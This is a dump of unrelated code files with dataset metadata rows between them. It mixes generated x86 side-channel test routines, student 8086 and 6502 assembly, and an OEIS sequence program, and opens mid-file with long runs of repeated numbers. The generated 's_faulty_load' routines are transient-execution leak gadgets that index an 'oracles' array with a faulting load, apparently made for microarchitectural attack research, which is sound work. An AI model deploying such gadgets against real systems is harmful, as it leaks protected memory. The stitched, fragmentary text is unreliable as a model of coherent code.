34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 37.837563 | 2,999 | 0.657768 |
c2b2376af1673cc52b5143f086ec06d1107e699a | 6,340 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_2155.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_2155.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_2155.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1dfdf, %rsi
lea addresses_A_ht+0x3d51, %rdi
nop
nop
nop
add %r15, %r15
mov $124, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rax, %rax
lea addresses_D_ht+0xc8df, %rdx
nop
nop
nop
inc %rax
movl $0x61626364, (%rdx)
add %rax, %rax
lea addresses_A_ht+0x1c05f, %rdx
clflush (%rdx)
nop
nop
dec %r13
mov (%rdx), %esi
nop
and %rdi, %rdi
lea addresses_WC_ht+0x1dd5f, %rdi
nop
nop
nop
and %rdx, %rdx
movb (%rdi), %r13b
dec %r15
lea addresses_D_ht+0xdd67, %rax
add %r13, %r13
vmovups (%rax), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
nop
nop
nop
sub $56624, %rsi
lea addresses_WC_ht+0x15c2f, %rsi
lea addresses_A_ht+0x1b6df, %rdi
nop
xor $64701, %rbp
mov $7, %rcx
rep movsw
nop
cmp $58237, %rdx
lea addresses_normal_ht+0xecdf, %rdx
nop
inc %rcx
movl $0x61626364, (%rdx)
nop
and $15770, %rdi
lea addresses_WC_ht+0x7df, %rsi
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov (%rsi), %r13w
nop
xor %rax, %rax
lea addresses_WT_ht+0x103df, %rax
clflush (%rax)
nop
sub %rsi, %rsi
movw $0x6162, (%rax)
nop
nop
nop
nop
and %r15, %r15
lea addresses_WC_ht+0x150df, %rsi
lea addresses_WT_ht+0x1937f, %rdi
nop
nop
nop
nop
nop
xor %rax, %rax
mov $15, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rax, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %rcx
push %rdi
// Faulty Load
lea addresses_RW+0x98df, %rcx
lfence
movb (%rcx), %r14b
lea oracles, %r13
and $0xff, %r14
shlq $12, %r14
mov (%r13,%r14,1), %r14
pop %rdi
pop %rcx
pop %r15
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 39.378882 | 2,999 | 0.657413 |
c18983b10a88c00c94e39e74433292f703c0bc7b | 1,226 | asm | Assembly | Semester 3-1/CSE3108 Microprocessor Lab/Lab 01/Assignment01_190104037.asm | AKC23/AUST | 102fb96d79b45c826fb4eb467ba6a7798e1ab4f4 | [
"MIT"
] | null | null | null | Semester 3-1/CSE3108 Microprocessor Lab/Lab 01/Assignment01_190104037.asm | AKC23/AUST | 102fb96d79b45c826fb4eb467ba6a7798e1ab4f4 | [
"MIT"
] | null | null | null | Semester 3-1/CSE3108 Microprocessor Lab/Lab 01/Assignment01_190104037.asm | AKC23/AUST | 102fb96d79b45c826fb4eb467ba6a7798e1ab4f4 | [
"MIT"
] | null | null | null | ;Assignment 01 - 190104037
;3L4U1
;3 -> 01001111b
;L -> 00111000b
;4 -> 01100110b
;U -> 00111110b
;1 -> 00000110b
TITLE 8086 Code Template (for EXE file)
#MAKE_EXE#
DSEG SEGMENT 'DATA'
NUMBERS DB 01001111b, 00111000b, 01100110b, 00111110b, 00000110b
DSEG ENDS
SSEG SEGMENT STACK 'STACK'
DW 100h DUP(?)
SSEG ENDS
CSEG SEGMENT 'CODE'
START PROC FAR
; Store return address to OS:
PUSH DS
MOV AX, 0
PUSH AX
; set segment registers:
MOV AX, DSEG
MOV DS, AX
MOV ES, AX
MOV DX, 2030h ; first Seven Segment Display
MOV SI, 0
MOV CX, 8
NEXT:
MOV AL,NUMBERS[SI]
out dx,al
INC SI
INC DX
XOR BX,BX
MOV BX,CX ; store counter value in bx for counting delay
; delay code
MOV CX,5FH ; loop counter value
DELAY:
LOOP DELAY
MOV CX,BX ; restore the previous value of CX
LOOP NEXT
; return to operating system:
RET
START ENDP
CSEG ENDS
END START ; set entry point.
;Assignment 01 - 3L4U1
;3L4UI
;3 -> 01001111b
;L -> 00111000b
;4 -> 01100110b
;U -> 00111110b
;1 -> 00000110b
| 14.255814 | 65 | 0.5677 |
bfac673e46b5c69d873cbf31da56b74d175bce0c | 350 | asm | Assembly | programs/oeis/171/A171001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/171/A171001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/171/A171001.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A171001: Binomial(n-k,k)^2 where k = ceiling(n/4).
; 1,0,1,4,9,9,36,100,225,400,1225,3136,7056,15876,44100,108900,245025,627264,1656369,4008004,9018009,25050025,64128064,153165376,344622096,1012766976,2538950544,6009350400,13521038400,41408180100,102252852900,240407818596
mov $2,$0
seq $0,57353 ; a(n) = floor(3n/4).
sub $2,$0
bin $0,$2
pow $0,2
| 38.888889 | 221 | 0.745714 |
b9c24869558332be69e3f20e0597726cd419178f | 7,714 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1483.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1483.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_1483.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x4c62, %r12
nop
nop
nop
sub %rsi, %rsi
movl $0x61626364, (%r12)
nop
nop
nop
and %rax, %rax
lea addresses_A_ht+0x1ec03, %rbp
nop
add %rax, %rax
mov (%rbp), %r14
nop
and $15016, %rax
lea addresses_normal_ht+0x142f9, %rbp
nop
nop
nop
nop
nop
sub %r10, %r10
movups (%rbp), %xmm5
vpextrq $0, %xmm5, %rax
nop
and %r10, %r10
lea addresses_WT_ht+0x1286, %rsi
lea addresses_UC_ht+0x190a9, %rdi
nop
nop
nop
nop
cmp $63722, %rax
mov $83, %rcx
rep movsb
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_D_ht+0xc639, %rcx
sub %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, (%rcx)
nop
add %rax, %rax
lea addresses_UC_ht+0x138c1, %rsi
lea addresses_UC_ht+0xa1f9, %rdi
nop
add %r12, %r12
mov $119, %rcx
rep movsw
nop
nop
add %r12, %r12
lea addresses_A_ht+0x7359, %r14
nop
nop
nop
nop
sub $5588, %rcx
vmovups (%r14), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rdi
nop
nop
nop
sub %r12, %r12
lea addresses_WC_ht+0x6d20, %rsi
nop
dec %rdi
movb $0x61, (%rsi)
nop
nop
nop
nop
sub $47631, %rbp
lea addresses_WC_ht+0x195f9, %r14
nop
nop
nop
nop
cmp $16280, %r12
movups (%r14), %xmm1
vpextrq $1, %xmm1, %rcx
add $3281, %rax
lea addresses_A_ht+0x18839, %rax
nop
sub %rcx, %rcx
movups (%rax), %xmm4
vpextrq $0, %xmm4, %r12
add %r10, %r10
lea addresses_normal_ht+0x1c479, %rsi
lea addresses_D_ht+0xc879, %rdi
nop
nop
cmp %rax, %rax
mov $102, %rcx
rep movsq
nop
nop
nop
add %r14, %r14
lea addresses_A_ht+0xb5f9, %rax
nop
nop
nop
nop
and $37322, %rcx
mov (%rax), %si
nop
nop
nop
sub %r14, %r14
lea addresses_normal_ht+0x1d3c9, %r10
and $37471, %r14
movb (%r10), %al
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x3bf9, %rax
nop
nop
nop
cmp $44875, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
movups %xmm1, (%rax)
nop
nop
nop
nop
and $3545, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
// Store
lea addresses_normal+0xa5e9, %r14
dec %r9
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
movups %xmm5, (%r14)
nop
nop
nop
nop
dec %rbx
// Faulty Load
lea addresses_normal+0x1b9f9, %rbx
nop
nop
cmp %r9, %r9
mov (%rbx), %rbp
lea oracles, %rdi
and $0xff, %rbp
shlq $12, %rbp
mov (%rdi,%rbp,1), %rbp
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': True, 'AVXalign': True, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_normal_ht'}, 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 34.904977 | 2,999 | 0.655432 |
35ccb6bb27523e42298efa86e4f46f7136b7a2ba | 130 | asm | Assembly | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vdum1=vdum1_minus_vdum2.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {m1}
sec
sbc {m2}
sta {m1}
lda {m1}+1
sbc {m2}+1
sta {m1}+1
lda {m1}+2
sbc {m2}+2
sta {m1}+2
lda {m1}+3
sbc {m2}+3
sta {m1}+3
| 9.285714 | 10 | 0.553846 |
b7c7000746f99884b3ef1780fb2397857c3bdcdd | 399 | asm | Assembly | programs/oeis/193/A193661.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/193/A193661.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/193/A193661.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A193661: Q-residue of the triangle A193673, where Q is the triangular array (t(i,j)) given by t(i,j)=1. (See Comments.)
; 1,3,15,93,621,4263,29595,206433,1442841,10093323,70633575,494375973,3460454661,24222651183,169556963955,1186893964713,8308243404081,58157660781843,407103496332735,2849724086908653,19948067446099101
mov $1,3
pow $1,$0
mov $2,7
pow $2,$0
add $1,$2
div $1,8
mul $1,2
add $1,1
| 33.25 | 199 | 0.759398 |
a4c151509b1caf95c3e92db8dec641f8bd69924c | 565 | asm | Assembly | test/utest_saved.asm | Fabian-Schneider01/Virtual-Piano | aa232b4fc4fa09fa43643db8ae10414406166df5 | [
"MIT"
] | 1 | 2021-10-30T19:03:41.000Z | 2021-10-30T19:03:41.000Z | test/utest_saved.asm | Fabian-Schneider01/Virtual-Piano | aa232b4fc4fa09fa43643db8ae10414406166df5 | [
"MIT"
] | null | null | null | test/utest_saved.asm | Fabian-Schneider01/Virtual-Piano | aa232b4fc4fa09fa43643db8ae10414406166df5 | [
"MIT"
] | null | null | null | #automatically generated code by pressing save button
#values will be compared in utest_tool to check wether buttons create the correct pitch
#checked if values of duration, volume and instrument are in range
#!this is not the test itself! will be called by utest_tool.asm!
.data
melody:
.word 60 62 64 65 67 69 71 70 68 66 63 61
.text
initialize:
li a7, 33
li a1, 161
li a2, 48
li a3, 119
la a4, melody
li t0, 0
li t1, 44
ret
main:
bge t1, t0, playMelody
j exit
playMelody:
lw a0, 0(a4)
addi t0, t0, 4
addi a4, a4, 4
ecall
j main
exit:
addi zero, zero, 0
| 16.617647 | 87 | 0.729204 |
3ee552f387b8f0d5b66e1e46222521ffbe2abe24 | 599 | asm | Assembly | SHAKIB KHAN 1711661642 - Lab Final CSE331 Fall 2020/Lab Final CSE331 Fall 2020/Solution/3.asm | Shakib-IO/CSE331L-Section-10-Fall20-NSU | ec2b944300f906f21500bd08c316a3d775f91477 | [
"MIT"
] | null | null | null | SHAKIB KHAN 1711661642 - Lab Final CSE331 Fall 2020/Lab Final CSE331 Fall 2020/Solution/3.asm | Shakib-IO/CSE331L-Section-10-Fall20-NSU | ec2b944300f906f21500bd08c316a3d775f91477 | [
"MIT"
] | null | null | null | SHAKIB KHAN 1711661642 - Lab Final CSE331 Fall 2020/Lab Final CSE331 Fall 2020/Solution/3.asm | Shakib-IO/CSE331L-Section-10-Fall20-NSU | ec2b944300f906f21500bd08c316a3d775f91477 | [
"MIT"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
VALUE_1 DB ?
VALUE_2 DB ?
TEMP DB 0
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
MOV AH, 9
INT 21H
MOV AH, 1
INT 21H
SUB AL, 30H
MOV VALUE_1,AL
MOV BL,AL
MOV AH, 2
MOV DL, 0DH
INT 21H
MOV DL, 0AH
INT 21H
MOV AH, 9
INT 21H
MOV AH, 1
INT 21H
SUB AL, 30H
MOV VALUE_2,AL
MOV AH, 2
MOV DL, 0DH
INT 21H
MOV DL, 0AH
INT 21H
ADD AL, 30H
MOV AH, 2
MOV DL, AL
INT 21H
MOV AH, 4CH
INT 21H
